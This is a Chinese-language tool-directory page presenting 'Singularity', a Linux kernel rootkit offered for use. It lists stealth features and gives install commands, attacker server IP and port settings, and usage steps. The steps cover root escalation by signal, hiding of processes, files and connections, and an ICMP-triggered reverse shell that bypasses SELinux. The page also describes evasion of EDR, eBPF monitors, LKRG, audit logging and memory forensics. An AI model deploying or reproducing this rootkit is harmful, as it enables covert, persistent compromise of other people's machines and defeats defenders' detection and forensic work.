Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Singularity — 面向6.x内核的隐蔽Linux内核rootkit(LKM),具备高级进程/网络隐藏、权限提升,以及对eBPF安全工具、LKRG、SELinux和内存取证的综合规避能力。 | Kitploit
工具/GitHubGitHub/matheuzsecurity/singularity
权限提升
GitHubmatheuzsecurity/singularity

Singularity

面向6.x内核的隐蔽Linux内核rootkit(LKM),具备高级进程/网络隐藏、权限提升,以及对eBPF安全工具、LKRG、SELinux和内存取证的综合规避能力。

查看仓库
1.7k1904013天前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Singularity - 隐蔽的 Linux 内核 Rootkit

Singularity Rootkit

"我们给取证工作找点活干如何?"

Singularity 是一款功能强大的 Linux 内核模块(LKM)rootkit,专为现代 6.x 内核设计。它通过 ftrace 基础设施实现高级系统调用挂钩,提供全面的隐蔽能力。

完整研究文章(过时版本):Singularity: A Final Boss Linux Kernel Rootkit

EDR 规避案例研究:Bypassing Elastic EDR with Singularity

POC 视频:Singularity 对抗 eBPF 安全工具:Singularity vs eBPF security tools

使用 Singularity 挂钩突破 eBPF 安全:Breaking eBPF

Singularity Rootkit:规避 Elastic Defend 模块加载检测 Bypassing Elastic Defend

什么是 Singularity?

Singularity 是一款精密复杂的 rootkit,运行于内核层面,提供以下能力:

  • 进程隐藏:使任意进程对系统完全不可见
  • 文件与目录隐藏:使用模式匹配隐藏文件
  • 网络隐蔽:隐藏 TCP/UDP 连接、端口和 conntrack 条目
  • 权限提升:基于信号的即时 root 访问
  • 日志清理:实时过滤内核日志和系统日志
  • 自我隐藏:从模块列表和系统监控中移除自身
  • 远程访问:ICMP 触发的反向 shell,并自动隐藏
  • 反检测:规避基于 eBPF 的运行时安全工具(Falco、Tracee),绕过 Linux Kernel Runtime Guard(LKRG),并阻止 io_uring 绕过尝试
  • 审计规避:在 netlink 层丢弃隐藏进程的审计消息,并具备统计跟踪和套接字 inode 过滤
  • 内存取证规避:阻止 LiME 和 AVML 采集;在物理转储中将模块页面和隐藏的 task_struct 清零;过滤 /proc/kcore、/proc/kallsyms、/proc/vmallocinfo
  • Cgroup 过滤:从 cgroup.procs 中过滤隐藏的 PID
  • Syslog 规避:挂钩 do_syslog 以过滤 klogctl() 内核环形缓冲区访问
  • Debugfs 规避:过滤 debugfs 等读取原始块设备的工具的输出
  • Conntrack 过滤:从 /proc/net/nf_conntrack 和 netlink SOCK_DIAG/NETFILTER 查询中隐藏连接
  • SELinux 规避:在 ICMP 触发时自动绕过 SELinux 强制模式
  • LKRG 绕过:规避 Linux Kernel Runtime Guard 检测机制
  • eBPF 安全绕过:从基于 eBPF 的运行时安全工具(Falco、Tracee)中隐藏进程

功能特性

  • 基于信号的权限提升(kill -59)
  • 从 /proc 和监控工具中完全隐藏进程
  • 基于模式的文件系统隐藏,适用于文件和目录
  • 从 netstat、ss、conntrack 和数据包分析器中隐藏网络连接
  • 高级 netlink 过滤(SOCK_DIAG、NETFILTER/conntrack 消息)
  • 针对 dmesg、journalctl 和 klogctl 的实时内核日志过滤
  • 从 lsmod 和 /sys/module 中自我隐藏模块
  • 自动规范化内核污染标志
  • BPF 数据过滤以防止基于 eBPF 的检测
  • io_uring 保护,防止异步 I/O 绕过
  • 内核消息和系统日志的日志掩蔽
  • 规避标准 rootkit 检测器(unhide、chkrootkit、rkhunter)
  • 通过 tracepoint 挂钩自动跟踪和隐藏子进程
  • 多架构支持(x64 + ia32)
  • 网络数据包级过滤,具备原始套接字保护
  • 防护所有文件 I/O 变体(read、write、splice、sendfile、tee、copy_file_range)
  • Netlink 层审计消息过滤,具备统计跟踪以规避 auditd 检测
  • 套接字 inode 跟踪,实现全面的网络隐藏
  • Cgroup PID 过滤,防止通过 /sys/fs/cgroup/*/cgroup.procs 检测
  • TaskStats netlink 阻断,防止 PID 枚举
  • 物理内存采集抵抗:在 copy_mc_to_kernel 上设置 kprobe,拦截 LiME 页面复制,将模块页面和隐藏的 task_struct 范围重定向到清零缓冲区;通过 /proc/kcore 读取挂钩阻止 AVML
  • /proc/kcore、/proc/kallsyms、/proc/vmallocinfo 读取过滤
  • do_syslog 挂钩以过滤 klogctl() 并防止内核环形缓冲区泄漏
  • 块设备输出过滤,以规避 debugfs 及类似磁盘取证工具
  • 通过 write 挂钩过滤 journalctl -k 输出
  • 针对 ICMP 触发 shell 的 SELinux 强制模式绕过能力
  • 针对隐藏进程的 LKRG 完整性检查绕过
  • 通过 BPF ringbuffer 和 perf 事件拦截隐藏 Falco 事件

安装

前置条件

  • Linux 内核 6.x
  • 运行中内核的内核头文件
  • GCC 和 Make
  • Root 访问权限

快速安装

cd /dev/shm
git clone https://github.com/MatheuZSecurity/Singularity
cd Singularity
sudo bash setup.sh
cd ..

就是这样。该模块会自动:

  • 从 lsmod、/proc/modules、/sys/module 中隐藏自身
  • 清除内核污染标志
  • 从 dmesg、journalctl -k、klogctl 中过滤敏感字符串
  • 开始保护你的隐藏文件和进程

重要说明

该模块在加载后会自动隐藏自身

没有卸载功能——需要重启才能移除

请先在虚拟机中测试——不重启无法移除

配置

设置你的服务器 IP 和端口

编辑 include/core.h:

#define YOUR_SRV_IP "192.168.1.100"  // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } }  // IPv6 if needed

编辑 modules/icmp.c:

#define SRV_PORT "8081"  // Change this to your desired port

编辑 modules/bpf_hook.c:

#define HIDDEN_PORT 8081  // Must match SRV_PORT

编辑 modules/hiding_tcp.c:

#define PORT 8081  // Must match SRV_PORT

重要:所有端口定义必须匹配,以确保网络隐藏和 ICMP 反向 shell 功能正常工作。

用法

隐藏进程

# Hide current shell
kill -59 $$

# Hide specific process
kill -59 <PID>

进程对 ps、top、htop、/proc 以及所有监控工具均不可见。所有子进程都会被自动跟踪并隐藏。

隐藏文件和目录

匹配您所配置模式的文件会被自动隐藏:

mkdir singularity
echo "secret" > singularity/data.txt

# Invisible to ls, find, locate
ls -la | grep singularity
# (no output)

# But you can still access it
cat singularity/data.txt
# secret

# cd is blocked for security
cd singularity
# bash: cd: singularity: No such file or directory

获取 Root 权限

基于信号的方法:

kill -59 $$
id  # uid=0(root)

隐藏网络连接

您配置端口(默认:8081)上的连接会被自动隐藏:

nc -lvnp 8081

# Invisible to all monitoring
ss -tulpn | grep 8081        # (no output)
netstat -tulpn | grep 8081   # (no output)
lsof -i :8081                # (no output)
cat /proc/net/nf_conntrack | grep 8081  # (no output)

# Even advanced netlink queries are filtered
ss -tapen | grep 8081        # (no output)
conntrack -L | grep 8081     # (no output)

数据包在原始套接字层(tpacket_rcv)被丢弃,并从以下位置隐藏:

  • /proc/net/* 接口(tcp、tcp6、udp、udp6)
  • /proc/net/nf_conntrack
  • Netlink SOCK_DIAG 查询(由 ss、lsof 使用)
  • Netlink NETFILTER/conntrack 消息(由 conntrack 工具使用)

ICMP 反向 Shell

远程触发隐藏的反向 Shell,并自动绕过 SELinux:

1. 启动监听器:

nc -lvnp 8081  # Use your configured port

2. 发送 ICMP 触发器:

sudo python3 scripts/trigger.py <target_ip>

3. 获取 root shell(自动隐藏所有子进程,若 SELinux 处于强制模式则绕过)

防护机制

Ftrace 控制保护

所有禁用 ftrace 的尝试都会被静默拦截并阻止:

echo 0 > /proc/sys/kernel/ftrace_enabled       # Appears successful but does nothing

受保护的 syscall:write、writev、pwrite64、pwritev、pwritev2、sendfile、sendfile64、splice、vmsplice、tee、copy_file_range、io_uring_enter(带智能的按 PID 缓存)

BPF Syscall 过滤

bpf_hook.c 模块实现了一套针对基于 eBPF 的安全工具的复杂反检测系统。它并非完全阻止 BPF syscall(这会成为检测指纹),而是在内核层面选择性地过滤数据,使隐藏的进程和连接对 eBPF 程序不可见。

策略:拦截 eBPF 程序使用的数据收集和上报函数,而非 BPF syscall 本身。这样合法的 eBPF 工具可以正常运行,同时无法看到隐藏的资源。

受保护的资源:

  • 隐藏进程及其整个进程树(最多 10 层父进程)
  • 配置端口(默认:8081)上的网络连接,或到配置 IP 地址的连接
  • 与隐藏进程关联的 socket inode

拦截点:

  • 迭代器执行(进程/socket 枚举)
  • Ringbuffer 操作(向用户态提交事件)
  • BPF map 操作(PID 查找与插入)
  • Perf 事件输出(传统 eBPF 事件投递)
  • Seq 文件写入(输出格式化)
  • 程序执行(基于上下文的过滤)

这种方法能够击败 eBPF 安全工具,而不会触发因完全阻止 BPF 操作而产生的告警。

io_uring 保护

针对 ftrace_enabled 和 tracing_on 尝试中 io_uring 绕过的保护,带智能缓存(每个 PID 1 秒缓存,以防止重复的进程扫描并降低开销)

日志净化

对所有内核日志接口中的敏感字符串进行实时过滤:

接口Hook状态
dmesg/proc/kmsg 上的 read hook已过滤
journalctl -kwrite hook(输出过滤)已过滤
klogctl() / syslog()do_syslog hook已过滤
/sys/kernel/debug/tracing/*read hook已过滤
/var/log/kern.log、syslog、auth.logread hook已过滤
/proc/kallsyms、/proc/kcore、/proc/vmallocinforead hook已过滤
/proc/net/nf_conntrackread hook已过滤

过滤的关键词:taint、journal、singularity、Singularity、matheuz、zer0t、kallsyms_lookup_name、obliviate、hook、hooked_、constprop、clear_taint、ftrace_helper、fh_install、fh_remove

注意:针对隐藏 PID 的审计消息在 netlink 层面被丢弃,并带有统计跟踪(get_blocked_audit_count、get_total_audit_count)

磁盘取证规避

Singularity 挂钩 write syscall 以检测并过滤磁盘取证工具的输出:

下载工具